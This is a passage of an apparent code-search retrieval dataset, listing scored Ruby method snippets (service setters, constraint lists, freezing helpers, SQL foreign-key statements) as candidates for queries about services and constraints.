"text": "def service_ppp!()\n @service = TAC_PLUS_AUTHEN_SVC_PPP\n end",
"title": ""
},
{
"docid": "5e74d580e4c1c574014af26aeba170d2",
"score": "0.49192703",
"text": "def service_name\n return @target.service_name\n end",
"title": ""
},
{
"docid": "901523df78014ebb266e984015e67977",
"score": "0.4916824",
"text": "def service\n abstract_method_error\n end",
"title": ""
},
{
"docid": "f8945585f6865ace8616b7a9707cb1e8",
"score": "0.49148217",
"text": "def set_service_type\n @service_type = ServiceType.find(params[:id])\n end",
"title": ""
},
{
"docid": "f8e27ed8ef8c9bcbabd8a9c18ed760d3",
"score": "0.49138814",
"text": "def initialize\n @services = {}\n end",
"title": ""
},
{
"docid": "c6cf235ce3ae9fa056eb525ede48a2fc",
"score": "0.48916745",
"text": "def platform_id_remap(id)\n # this catches the centos guest shell in the nexus switch which identifies itself as centos\n return \"nexus_centos\" if id == \"centos\" && os_release_file_is_cisco?\n\n PLATFORM_ID_MAP[id.downcase] || id.downcase\n end",
"title": ""
},
{
"docid": "8d12cfe35dee40cee1e31127f29ca09a",
"score": "0.4876501",
"text": "def service(nickname, reserved, distribution, type)\n end",
"title": ""
},
{
"docid": "1200a9761366769d644f6f773dcec12d",
"score": "0.4872139",
"text": "def set_service\r\n @service = Service.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "1200a9761366769d644f6f773dcec12d",
"score": "0.4872139",
"text": "def set_service\r\n @service = Service.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "623b8cd6e64716ddf28f45e3be208186",
"score": "0.48718178",
"text": "def set_counter_service\n @counter_service = CounterService.find(params[:id])\n end",
"title": ""
},
{
"docid": "702dbac4d0daf0e01ed7ec38f2996331",
"score": "0.48707005",
"text": "def identifier_output_method_default\n nil\n end",
"title": ""
},
{
"docid": "9508e3d62850ccc148ee7da922ff385d",
"score": "0.486243",
"text": "def service_naming(service, dialogs_tags_hash, dialogs_options_hash)\n log(:info, \"Processing service_naming...\", true)\n new_service_name = dialogs_options_hash[0][:dialog_service_name] rescue nil\n new_service_description = dialogs_options_hash[0][:dialog_service_description] rescue nil\n\n if new_service_name.blank?\n new_service_name = \"#{service.name}-#{Time.now.strftime('%Y%m%d-%H%M%S')}\"\n end\n log(:info, \"Service name: #{new_service_name}\")\n service.name = new_service_name\n\n unless new_service_description.blank?\n log(:info, \"Service description #{new_service_description}\")\n service.description = new_service_description\n end\n log(:info, \"Processing service_naming...Complete\", true)\nend",
"title": ""
},
{
"docid": "7ec2983ee3a4283a1fb62d796e25ccb7",
"score": "0.48605943",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "7ec2983ee3a4283a1fb62d796e25ccb7",
"score": "0.48605943",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "7ec2983ee3a4283a1fb62d796e25ccb7",
"score": "0.48605943",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "7ec2983ee3a4283a1fb62d796e25ccb7",
"score": "0.48605943",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "a4fc4d1c81f71b4a69ff02b0bc50b7a2",
"score": "0.48485804",
"text": "def set_service\n @service = Service.find(params[:id])\n @service = @service.becomes(@service.type.constantize) if @service.valid?\n @service.current_request = request\n end",
"title": ""
},
{
"docid": "c19a8fd83e3730c59c814c3e0082387e",
"score": "0.48473206",
"text": "def GetServiceId(name)\n id = GetUnitId(Builtins.sformat(\"%1.service\", name))\n return nil if id == nil\n\n # return without .service\n pos = Builtins.search(id, \".service\")\n return nil if Ops.less_or_equal(pos, 0)\n Builtins.substring(id, 0, pos)\n end",
"title": ""
},
{
"docid": "566f9141c250c23c78a46236cfec2238",
"score": "0.48420742",
"text": "def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end",
"title": ""
},
{
"docid": "566f9141c250c23c78a46236cfec2238",
"score": "0.48420742",
"text": "def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end",
"title": ""
},
{
"docid": "2db26f9e05992ad6d0f890a5dee25050",
"score": "0.4841714",
"text": "def service_key\n SERVICE_KEY\n end",
"title": ""
},
{
"docid": "5d095c0fc36c676007892cc809fbbed0",
"score": "0.48393014",
"text": "def service\n @service ||= bus.service('com.dubstepdish.i3dstatus')\n end",
"title": ""
},
{
"docid": "c07cfc4f43b752e82ac1f5268a86d902",
"score": "0.48375124",
"text": "def getInterfaceName(interface)\n interface.attr(\"client_id\")\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
},
{
"docid": "4bb0c7bfd9eb120c86bf66e099b79336",
"score": "0.4833974",
"text": "def set_service\n @service = Service.find(params[:id])\n end",
"title": ""
}
] |
de7edf43c6d39f1369cad95a8b611a54
|
Creates and freezes the constraints and the constraint list.
|
[
{
"docid": "a5c57c46b46b63e5634545fc824d78b9",
"score": "0.8023346",
"text": "def initialize\n initialize_constraints\n @constraints = constraint_list # private method creating the list\n @constraints.each(&:freeze) # freeze the constraints\n @constraints.freeze # freeze the constraint list\n end",
"title": ""
}
] |
[
{
"docid": "edf3bec0bec16f48a6dcde48150e1975",
"score": "0.6598913",
"text": "def freeze\n @constraint_validations.freeze.each(&:freeze)\n @constraint_validation_reflections.freeze.each_value do |v|\n v.freeze\n v.each(&:freeze)\n end\n @constraint_validation_options.freeze.each_value(&:freeze)\n\n super\n end",
"title": ""
},
{
"docid": "a5462330a107ac7d458b738550db5423",
"score": "0.6168634",
"text": "def constraint_list\n return @constraint_list unless @constraint_list.nil?\n return [] if @list.empty?\n\n @constraint_list = @list[0].constraint_list\n end",
"title": ""
},
{
"docid": "99aa34d1853275ddc8504004f7aaed49",
"score": "0.6154176",
"text": "def constraint_list\n @constraints\n end",
"title": ""
},
{
"docid": "99aa34d1853275ddc8504004f7aaed49",
"score": "0.6153537",
"text": "def constraint_list\n @constraints\n end",
"title": ""
},
{
"docid": "8de53207da804071e8ca7d1213da612b",
"score": "0.6119214",
"text": "def satisfy_constraints\r\n @nb_iter.times do\r\n @constraints.each do |c| # sorted by strings, boundaries, fixed\r\n case c.type\r\n when :string\r\n p1 = c.particles[0]\r\n p2 = c.particles[1]\r\n restlength = c.value\r\n x1 = p1.current\r\n x2 = p2.current\r\n delta = x2-x1\r\n deltalength = Math.sqrt(delta.dot(delta))\r\n diff = (deltalength-restlength)/(deltalength*(p1.invmass+p2.invmass))\r\n p1.current += delta*(diff*p1.invmass);\r\n p2.current -= delta*(diff*p2.invmass);\n when :boundary\r\n p = c.particles\r\n # read: p.current.z = 0 if not p.current.z > 0\r\n p.current.component_set(c.boundary_component,c.boundary_value) if not p.current.component_value(c.boundary_component).send(c.boundary_comparator, c.boundary_value)\r\n when :fixed\r\n p = c.particles\r\n p.current.x = c.value[0]\r\n p.current.y = c.value[1]\r\n p.current.z = c.value[2]\r\n end # case\r\n end # constraints\r\n end # times\r\n end",
"title": ""
},
{
"docid": "2625d3f64ac73428d4ed838ab4ae991e",
"score": "0.6067814",
"text": "def constraints() return @constraints end",
"title": ""
},
{
"docid": "b5ff02a019e14fdc12ac83b1b640a755",
"score": "0.60358953",
"text": "def constraints\n @constraints ||= {}\n end",
"title": ""
},
{
"docid": "3bd5fe0b0aa2b93c5b04b8a9222c1f60",
"score": "0.5967055",
"text": "def constraint_list\n list = []\n list << @nolong\n list << @wsp\n list << @ml\n list << @mr\n list << @idstress\n list << @idlength\n list << @culm\n list\n end",
"title": ""
},
{
"docid": "a2256e9f1bd150f130be4a04bb64206d",
"score": "0.59545606",
"text": "def create_or_update_constraints\n # find current plan_stage_instances\n plan.plan_stage_instances.each do |psi|\n # tell the instance to remove old constraints and add new ones\n psi.create_constraints_for_route_id(route_id)\n end\n return true\n end",
"title": ""
},
{
"docid": "eff738d0d4d50e596451ad191f3aefee",
"score": "0.5952626",
"text": "def install\n constraints = self.constraints.copy\n self.constraints.each do |constraint|\n constraint.install\n end\n self.constraints.clear\n constraints\n end",
"title": ""
},
{
"docid": "faefa5964b6ef7977a8e9c5819c0684a",
"score": "0.5948051",
"text": "def initialize\n @constraints = {}\n end",
"title": ""
},
{
"docid": "f868983beeebe89d2ecbfc0537c27c31",
"score": "0.59241873",
"text": "def build_default_constraint; end",
"title": ""
},
{
"docid": "8921a57fe3706ebb4d1dc6fe65ae3d06",
"score": "0.58903664",
"text": "def set_constraint_preferences\n constraint_list.each do |con|\n if @winner.get_viols(con) < @loser.get_viols(con) then\n set_w(con)\n elsif @winner.get_viols(con) > @loser.get_viols(con) then\n set_l(con)\n end # Constraints are e by default in ercs.\n end\n end",
"title": ""
},
{
"docid": "ea442ce835804072a1f1f1b4c9e5ddcd",
"score": "0.5887895",
"text": "def initialize constraints = {}\n self.queue_constraints = { context: 'all', capacity: 2, taken: 0, entry_time: 180, auto_clean: true }.merge(constraints)\n end",
"title": ""
},
{
"docid": "b6bb70e33cc0233b4862ae280e4eb195",
"score": "0.5883197",
"text": "def constraints; end",
"title": ""
},
{
"docid": "b6bb70e33cc0233b4862ae280e4eb195",
"score": "0.5883197",
"text": "def constraints; end",
"title": ""
},
{
"docid": "b6bb70e33cc0233b4862ae280e4eb195",
"score": "0.5883197",
"text": "def constraints; end",
"title": ""
},
{
"docid": "53ec4a1bb974dfebf1244ec0d2c29c76",
"score": "0.5879081",
"text": "def finish(constraints)\n\t\t$stderr.puts \"callback finish\"\n # move initial widget settings to Solver Variables. \n @widgets.each_pair do |nm, ele|\n\t\t\tleft = ele.left\n\t\t\ttop = ele.top\n\t\t\theight = ele.height\n\t\t\twidth = ele.width\n\t\t\t$stderr.puts \"\\n#{nm} #{ele.inspect} from #{left},#{top},#{width},#{height}\"\n # update Solver Vars with real settings\n vars = @attrs[nm]\n vars['start'].value = ele.left\n vars['top'].value = ele.top\n vars['width'].value = ele.width\n vars['height'].value = ele.height\n vars['bottom'].value = ele.top + ele.height\n vars['end'].value = ele.left + ele.width\n \n $stderr.puts \"Setting #{nm}: #{vars.inspect}\"\n # need all 3 to get horizontal mostly correct\n @solver.add_constraint(vars['start'].cn_geq @attrs['super']['start'], Strength::RequiredStrength)\n @solver.add_constraint(vars['width'].cn_geq width)\n @solver.add_constraint(vars['width'].cn_equal vars['end'] - vars['start'] , Strength::RequiredStrength)\n # need all 3 to get vertical mostly correct\n @solver.add_constraint(vars['top'].cn_geq @attrs['super']['top'], Strength::RequiredStrength)\n @solver.add_constraint(vars['height'].cn_geq height)\n @solver.add_constraint(vars['height'].cn_equal vars['bottom'] - vars['top'] , Strength::RequiredStrength)\n end\n puts \"\\nAdd constraints #{@attrs.inspect}\"\n # add the constraints\n if constraints\n constraints.each do |c|\n if c.class == Cassowary::LinearEquation\n # handcrafted cassowary-ruby style\n @solver.add_constraint(c)\n else\n self.add_cs(c)\n end\n end\n end\n @ready = true\n $stderr.puts \"\\nSolving...\"\n @solver.solve\n self.move_widgets\n end",
"title": ""
},
{
"docid": "b31de431e2702eb78c59ca85f50745b0",
"score": "0.58314717",
"text": "def wait_for_constraint_create(xml, constraint, scope = 'constraints')\n message = \"Waiting #{max_wait_time} seconds for the constraint '#{constraint}' to be created\"\n debug message\n retry_block do\n if pacemaker_options[:cibadmin_idempotency_checks]\n cib_reset 'wait_for_constraint_create'\n break true if constraint_exists? constraint\n end\n cibadmin_create xml, scope\n end\n message = \"Constraint '#{constraint}' was created\"\n debug message\n end",
"title": ""
},
{
"docid": "178ad731eb8fd8d319f0b8dc0b38224d",
"score": "0.5752905",
"text": "def constraints\n @constraints ||= begin\n constraints = []\n constraints << 'required' if required?\n constraints << 'unique' if unique?\n append_numeric_constraints(constraints)\n append_length_constraints(constraints)\n constraints\n end\n end",
"title": ""
},
{
"docid": "314dc236cd4388e2591ac60de37e1f9a",
"score": "0.5742074",
"text": "def check_constraint_adds; end",
"title": ""
},
{
"docid": "afd37e9177c6dcb28d8c19fab447055d",
"score": "0.56845266",
"text": "def check_constraints; end",
"title": ""
},
{
"docid": "3efb9d5a26a879c0032f78805f592c59",
"score": "0.5661236",
"text": "def check_constraint_drops; end",
"title": ""
},
{
"docid": "e94cab44d58ed512f0b4d99a8decc0fd",
"score": "0.5657992",
"text": "def new_constraint(*vars, &block)\n constraint = Constraint.new(vars: vars, blck: block)\n constraints.push(constraint)\n end",
"title": ""
},
{
"docid": "690eb2271543f9509dd081f35b6c9343",
"score": "0.56524724",
"text": "def process_soln_constraints(workspace, solution_constraints, valid_packages)\n gecode = workspace.gecode_wrapper\n\n # create shadow package whose dependencies are the solution constraints\n soln_constraints_pkg_id = gecode.add_package(0, 0, 0)\n\n soln_constraints_on_non_existent_packages = []\n soln_constraints_that_match_no_versions = []\n\n # generate constraints imposed by solution_constraints\n solution_constraints.each do |soln_constraint|\n # look up the package in the cloned dep_graph that corresponds to soln_constraint\n pkg_name = soln_constraint.package.name\n pkg = workspace.package(pkg_name)\n constraint = soln_constraint.constraint\n\n # record invalid solution constraints and raise an exception\n # afterwards\n unless pkg.valid? || (valid_packages && valid_packages.include?(pkg))\n soln_constraints_on_non_existent_packages << soln_constraint\n next\n end\n if pkg[constraint].empty?\n soln_constraints_that_match_no_versions << soln_constraint\n next\n end\n\n pkg_id = pkg.gecode_package_id\n\n gecode.mark_preferred_to_be_at_latest(pkg_id, 10)\n gecode.mark_required(pkg_id)\n\n if constraint\n acceptable_versions = pkg.densely_packed_versions[constraint]\n gecode.add_version_constraint(soln_constraints_pkg_id, 0, pkg_id, acceptable_versions.min, acceptable_versions.max)\n else\n # this restricts the domain of the variable to >= 0, which\n # means -1, the shadow package, cannot be assigned, meaning\n # the package must be bound to an actual version\n gecode.add_version_constraint(soln_constraints_pkg_id, 0, pkg_id, 0, pkg.densely_packed_versions.range.max)\n end\n end\n\n if soln_constraints_on_non_existent_packages.any? || soln_constraints_that_match_no_versions.any?\n raise Exceptions::InvalidSolutionConstraints.new(soln_constraints_on_non_existent_packages,\n soln_constraints_that_match_no_versions)\n end\n end",
"title": ""
},
{
"docid": "c08809674d8b971ee05165891e7cfbae",
"score": "0.5638448",
"text": "def constraints(hash = nil, &block)\n block = lambda{ _natural(hash) } unless block\n cs = (_peek(:relvar)[:constraints] ||= build_constraints)\n _push(:constraints, cs, &block)\n end",
"title": ""
},
{
"docid": "0cca08826c5bd7c93b2aed032696d818",
"score": "0.5636429",
"text": "def get_constraints\n sql = %Q{\n select *\n from all_cons_columns a, all_constraints b\n where a.owner = b.owner\n and a.constraint_name = b.constraint_name\n and a.table_name = b.table_name\n and b.table_name = '#{@table}'\n }\n\n begin\n cursor = @connection.exec(sql)\n while rec = cursor.fetch_hash\n @constraints << rec\n end\n ensure\n cursor.close if cursor\n end\n end",
"title": ""
},
{
"docid": "754e0a2a757d1e9b584f2f5de1c26bf1",
"score": "0.5594744",
"text": "def cleanup_constraints\n actor.constraints.each do |c|\n physics_manager.unregister_physical_constraint c\n end\n end",
"title": ""
},
{
"docid": "725edba8c6b8b3c9f083f8057737fa7c",
"score": "0.5589974",
"text": "def reorder_constraints\n info \"Reordering constraints\", 1\n eq = []\n ineq = []\n @constraints.each do |c|\n eq << c.dup if c.type == :equality\n ineq << c.dup if c.type == :inequality\n end\n @constraints = []\n eq.each do |c|; @constraints << c; end\n ineq.each do |c|; @constraints << c; end\n end",
"title": ""
},
{
"docid": "fba8d9231cf9635fe37b825aa333511c",
"score": "0.55606234",
"text": "def add_constraints(constraints)\n constraints.each do |constraint|\n self.constraints += constraint.apply_to(self)\n end\n\n return\n end",
"title": ""
},
{
"docid": "653092273af906f874cfe84317b51d66",
"score": "0.5520905",
"text": "def def_constraints()\n yield\n end",
"title": ""
},
{
"docid": "a670a0f417b13aba27733e83d08cf72b",
"score": "0.5473007",
"text": "def check_constraints\n\n if self.justification.nil?\n self.create_justification\n end\n self.justification.constraint_exceptions.each do |c|\n c.destroy\n end\n c = ConstraintsChecker::StudentProgram.new(id: self.id, name: \"Student Program\")\n c.add_constraint(ConstraintsChecker::Constraints::Min.new(c, program.min))\n c.add_constraint(ConstraintsChecker::Constraints::Max.new(c, program.max))\n \n mandatories = program.mandatory_courses\n\n mandatories.each do |m|\n c.add_constraint(ConstraintsChecker::Constraints::MandatoryCourse.new(c, m.id))\n end\n\n self.p_modules.each do |m|\n c.add_children(m.get_p_module_object(m.mandatory?))\n end\n\n self.program.p_modules.mandatory.each do |m|\n if ! self.module_present?(m)\n c.add_children(m.get_p_module_object(true))\n end\n end\n\n\n \n courses = []\n \n self.years.each do |year|\n courses = courses + year.get_course_objects\n end\n\n courses.each do |course|\n p_module = c.find_p_module(course.parent_id)\n \n if p_module.nil?\n c.add_children(course)\n \n else\n p_module.add_children(course)\n end\n end\n\n c.childrens.each do |cc|\n p cc.name\n p cc.childrens\n \n end\n # add constraint from older programs\n self.add_old_courses_to_student_program(c)\n results = c.check\n create_constraint_exceptions(results)\n self.check\n results\n end",
"title": ""
},
{
"docid": "61714440621e665e82602cdc27713e23",
"score": "0.54541504",
"text": "def initialize_constraints(parameters)\n # start by assuming we can use max parameter limits\n parameter_constraints = {}\n parameters.each do |param, values_list|\n param_max = PARAMETER_LIMITS[param]\n values_list_length = values_list.length\n parameter_constraints[param] =\n if param_max && param_max < values_list_length\n {size: param_max, name: param}\n else\n {size: values_list_length, name: param}\n end\n end\n parameter_constraints\n end",
"title": ""
},
{
"docid": "866e875da33a6af12145c92487bdc616",
"score": "0.5429302",
"text": "def apply!\n prepare_constraints_for_policies\n end",
"title": ""
},
{
"docid": "43eeed5d2d4a37e7cb212a83879c6d41",
"score": "0.5422792",
"text": "def constraints(extra_constraints=[])\n run_constraints = @constraints.dup\n run_constraints += extra_constraints\n\n # Apply inclusion vars if needed\n @constraints.each{|c| c.vars &= inclusion_vars} if @inclusion_composers\n\n # Add object-wide constraints\n @sets.each do |set_name,set|\n next unless @set_options[set_name][:num_matches]\n num_matches = @set_options[set_name][:num_matches]\n match_padding = @set_options[set_name][:match_padding] || 0\n set.each do |elt|\n # create a subset of all vars attached to our element\n subset = @variable_set.create_subset(set_name => [elt])\n subset_vars = subset.to_lp_vars\n subset_vars &= inclusion_vars if @inclusion_composers\n\n # add that subset as a constraint\n if num_matches.is_a?(Integer)\n run_constraints << Constraint.new(\n :vars => subset_vars,\n :operator => '=',\n :target => [num_matches, subset_vars.size].min\n )\n elsif num_matches.is_a?(Range)\n run_constraints << Constraint.new(\n :vars => subset_vars,\n :operator => '>=',\n :target => [num_matches.min, subset_vars.size - match_padding].min\n )\n\n run_constraints << Constraint.new(\n :vars => subset_vars,\n :operator => '<=',\n :target => num_matches.max\n )\n else\n raise \"Matches per element target must an Integer or a Range #{num_matches.inspect}\"\n end\n end\n end\n\n run_constraints\n end",
"title": ""
},
{
"docid": "6ba0d2c17aa61188ddc4def2cd41569d",
"score": "0.5413763",
"text": "def getConstrs; end",
"title": ""
},
{
"docid": "5f6df7d4dab5a7edd505dcd5de6c83b7",
"score": "0.54123783",
"text": "def index\n @mass_constraints = MassConstraint.all\n end",
"title": ""
},
{
"docid": "f6c835163ddfeedbcdefd0ac21bc3c16",
"score": "0.5406935",
"text": "def create_constraint\n if request.post?\n classroom = Classroom.find(params[:id])\n day_nr = from_dayname_to_id(params[:selected_day])\n t = TemporalConstraint.new(:description=>\"Vincolo di indisponibilità aula: \" + classroom.name,\n :isHard=>0,:startHour=>params[:start_hour],:endHour=>params[:end_hour],:day=>day_nr)\n @constraint = t\n if t.save\n classroom.constraints << t # associo il nuovo vincolo con l'aula\n @error_unique = !t.is_unique_constraint?(classroom)\n #classroom.save\n end\n\n respond_to do |format|\n @classroom = Classroom.find(params[:id])\n #@constraint= t\n #parte originale.. forse utilizzabile dal clock\n classroom_constraint_ids = ConstraintsOwner.find(:all,\n :conditions => [\"constraint_type = 'TemporalConstraint' AND owner_type = 'Classroom' AND owner_id = (?)\", params[:id]], :select => ['constraint_id'])\n @constraints = []\n for id in classroom_constraint_ids do\n @constraints << TemporalConstraint.find(id.constraint_id)\n end\n format.html { render :action => \"edit_constraints\" }\n format.js{}\n end\n end\n end",
"title": ""
},
{
"docid": "1edf63fdd312040cadfa38ce196bb6c4",
"score": "0.5404002",
"text": "def add_constraint(constraint); end",
"title": ""
},
{
"docid": "e619e0b5b892fcaf0f3278236e9f7549",
"score": "0.5400703",
"text": "def freeze\n @validations.freeze.each_value(&:freeze)\n @validation_reflections.freeze.each_value do |vs|\n vs.freeze.each do |v|\n v.freeze\n v.last.freeze\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "d89d400cdd383496d4662788aaa85ce1",
"score": "0.5368379",
"text": "def addConstraint\n addToGraph()\n $planner.incrementalAdd(self)\n end",
"title": ""
},
{
"docid": "e5da6e7466f7237e9d9a6f964ecb8fae",
"score": "0.5347648",
"text": "def mass_constraint_params\n params.require(:mass_constraint).permit(:mass_id, :constraint_id, :constraint_type)\n end",
"title": ""
},
{
"docid": "4613128c4177dd455cc5567323632614",
"score": "0.53374135",
"text": "def constraints\n @psi = PlanStageInstance.find(params[:plan_stage_instance_id])\n @constraints_by_type = @psi.constraints_by_type\n @constrainable_type = params[:constrainable_type]\n @plan = find_plan\n render :layout => false\n end",
"title": ""
},
{
"docid": "8c8a160b381493a17e0efe34805f50ea",
"score": "0.5332881",
"text": "def constraints(_)\n nil\n end",
"title": ""
},
{
"docid": "8c8a160b381493a17e0efe34805f50ea",
"score": "0.5332881",
"text": "def constraints(_)\n nil\n end",
"title": ""
},
{
"docid": "fdac3dd6ec384b9f806a9a3ba0896e93",
"score": "0.5330468",
"text": "def initialize(constraints, label=\"NoLabel\")\n @constraints = constraints\n @label = label\n @w_cons = Set.new\n @l_cons = Set.new\n end",
"title": ""
},
{
"docid": "c8f9c680790b02cb510cd9ad3c774564",
"score": "0.5326646",
"text": "def demands_as_constraints\n @demands_as_constraints ||= demands_array.map do |demands_item|\n item_name, constraint_with_operator = demands_item\n version_constraint = Semverse::Constraint.new(constraint_with_operator)\n DepSelector::SolutionConstraint.new(ds_graph.package(item_name), version_constraint)\n end\n end",
"title": ""
},
{
"docid": "998c65393a7f5828514e2a757fc3bc81",
"score": "0.5304565",
"text": "def initialize\n @constraints = []\n @soft_consts = []\n @vars = {}\n @assignments = {}\n end",
"title": ""
},
{
"docid": "6710453748032c68a51ce55060c8c15e",
"score": "0.52946955",
"text": "def initialize_constraints\n @nolong = Constraint.new('NoLong', 1, MARK) do |cand|\n cand.output.inject(0) do |sum, syl|\n if syl.long? then sum + 1 else sum end\n end\n end\n @wsp = Constraint.new('WSP', 2, MARK) do |cand|\n cand.output.inject(0) do |sum, syl|\n if syl.long? && syl.unstressed? then sum + 1 else sum end\n end\n end\n @ml = Constraint.new('ML', 3, MARK) do |cand|\n viol_count = 0\n # only apply when there's a main stress in the cand\n main_stress_found = cand.output.main_stress?\n if main_stress_found\n for syl in cand.output do\n break if syl.main_stress?\n viol_count += 1\n end\n end\n viol_count\n end\n @mr = Constraint.new('MR', 4, MARK) do |cand|\n viol_count = 0\n stress_found = false\n for syl in cand.output do\n viol_count += 1 if stress_found\n stress_found = true if syl.main_stress?\n end\n viol_count\n end\n @idstress = Constraint.new('IDStress', 5, FAITH) do |cand|\n viol_count = 0\n cand.input.each do |in_syl|\n unless in_syl.stress_unset?\n out_syl = cand.io_out_corr(in_syl)\n viol_count += 1 if (in_syl.main_stress? != out_syl.main_stress?)\n end\n end\n viol_count\n end\n @idlength = Constraint.new('IDLength', 6, FAITH) do |cand|\n viol_count = 0\n cand.input.each do |in_syl|\n unless in_syl.length_unset?\n out_syl = cand.io_out_corr(in_syl)\n viol_count += 1 if (in_syl.long? != out_syl.long?)\n end\n end\n viol_count\n end\n # this only give a single violation to stress-less outputs\n @culm = Constraint.new('Culm', 7, MARK) do |cand|\n not_violated = cand.output.main_stress?\n if not_violated\n viol_count = 0\n else\n viol_count = 1\n end\n viol_count\n end\n end",
"title": ""
},
{
"docid": "2528816c898f2854b135b5676ad0c754",
"score": "0.52880484",
"text": "def freeze\n @association_dependencies.freeze.each_value(&:freeze)\n\n super\n end",
"title": ""
},
{
"docid": "466d9be76741e6930621f54ae1dcf322",
"score": "0.528319",
"text": "def clear!\n @constraints.clear\n end",
"title": ""
},
{
"docid": "c21b5d852b941cad937d7abd53d38d28",
"score": "0.52603304",
"text": "def constraint_matrix\n a = []\n b = []\n @constraints.each do |c|\n a << c.a.to_flat_array\n b << c.b\n end\n @a = NMatrix.new [@size, @constraints.size], a.flatten\n @b = NMatrix.new [@constraints.size, 1], b\n return @a, @b\n end",
"title": ""
},
{
"docid": "7b8f28ab231cc9e61981e6e7074593a7",
"score": "0.5214773",
"text": "def create_or_update_constraints(plan_id)\n # cycle through the route_gates and tell them up update or remove constraints\n route_gates.each do |rg|\n rg.create_or_update_constraints(plan_id)\n end\n end",
"title": ""
},
{
"docid": "ed355aa73c027360db247009e576d70a",
"score": "0.5211913",
"text": "def freeze_bnodes\n @bnode_cache ||= {}\n @bnode_cache.each_value(&:freeze)\n end",
"title": ""
},
{
"docid": "d3e265fd2042437a6bdc36851935fd74",
"score": "0.52016664",
"text": "def constraint_params\n params.require(:constraint).permit(:title, :description, :task_id)\n end",
"title": ""
},
{
"docid": "53401f60c43a5fb3989c6cae2791d0ff",
"score": "0.51789814",
"text": "def addConstr; end",
"title": ""
},
{
"docid": "8954837fb2e93f53789baa17b5e54b6e",
"score": "0.51775944",
"text": "def region_constraints_rec(constraints, current_constraint)\n self.children.each do |child|\n new_current_constraint = child.current_region(current_constraint)\n if child.children.any?\n child.region_constraints_rec(constraints, new_current_constraint)\n else\n constraints.push(new_current_constraint)\n end\n end\n constraints\n end",
"title": ""
},
{
"docid": "c49de14b84fd2949ece772f0959de820",
"score": "0.5171521",
"text": "def create_constraints_statement(storage_name, constraint_name, constraint_type, foreign_keys, reference_storage_name, reference_keys)\n <<-SQL.compress_lines\n ALTER TABLE #{quote_name(storage_name)}\n ADD CONSTRAINT #{quote_name(constraint_name)}\n FOREIGN KEY (#{foreign_keys.join(', ')})\n REFERENCES #{quote_name(reference_storage_name)} (#{reference_keys.join(', ')})\n ON DELETE #{constraint_type}\n ON UPDATE #{constraint_type}\n SQL\n end",
"title": ""
},
{
"docid": "6ea503b3764326119c3d06312d3d29a6",
"score": "0.5168438",
"text": "def freeze\n config.__nanoc_freeze_recursively\n items.each(&:freeze)\n layouts.each(&:freeze)\n end",
"title": ""
},
{
"docid": "9346d4fb98eee7b1c1c1e4476eb5f5f6",
"score": "0.51391196",
"text": "def add_constraint(constraint)\n\t self.constraints << constraint\n\t return\n\tend",
"title": ""
},
{
"docid": "27e7b3aa770378d53966188dddbe0710",
"score": "0.5133397",
"text": "def constraint(hash = {})\n @constraints << Constraint.new(self, hash)\n end",
"title": ""
},
{
"docid": "27e7b3aa770378d53966188dddbe0710",
"score": "0.5133397",
"text": "def constraint(hash = {})\n @constraints << Constraint.new(self, hash)\n end",
"title": ""
},
{
"docid": "997685bf6d3c6c5c4134d00d9e58bba3",
"score": "0.5116226",
"text": "def addConstraint(c)\n @constraints.add(c)\n end",
"title": ""
},
{
"docid": "e5c18da24ada31c68d84cf08188297c3",
"score": "0.5099448",
"text": "def freeze!\n return if null?\n [@car, @cdr].each { |slot| slot.freeze! if slot.respond_to?(:freeze!) }\n freeze\n end",
"title": ""
},
{
"docid": "dbec2766dcb110d29ad75c8faa5c3659",
"score": "0.50931865",
"text": "def freeze\n # create a blank namespace module if required\n unless namespace.nil?\n Impromptu.root_resource.get_or_create_child(namespace).namespace!\n end\n \n # freeze files\n @folders.each do |folder|\n folder.create_namespace\n folder.files.each do |file|\n file.freeze\n end\n end\n \n @frozen = true\n end",
"title": ""
},
{
"docid": "1ac2a0628f8eeacfe0e994715101cd05",
"score": "0.508626",
"text": "def initialize(function)\n raise \"not a function: #{function.inspect}\" unless function.respond_to?(:arity)\n @function = function\n\n # The multiplier applied to be penalty on the first iteration. On each later\n # iteration, the penalty multiplier will be multiplied by a factor of \"penaltychangefactor\".\n @base_penalty_multiplier = 1.0\n\n # The factor by which the penalty changes on each iteration after the first. The default is 100, indicating\n # that the penalty multiplier changes by a factor of 100 on each iteration. (For penalty methods (the default), the penalty\n # multiplier increases by this factor each iteration, but for barrier methods, it decreases.) Increasing the value generally decreases\n # the number of iterations required to solve the problem, but increases the chance of missing the answer entirely.\n @penalty_change_factor = 100.0\n\n # The method by which the constraints and bounds will be enforced.\n @constraint_enforcement = ConstraintEnforcement::QuadraticPenalty.new\n\n # The constraint tolerance. The minimization process will be terminated if the fractional contribution of the\n # 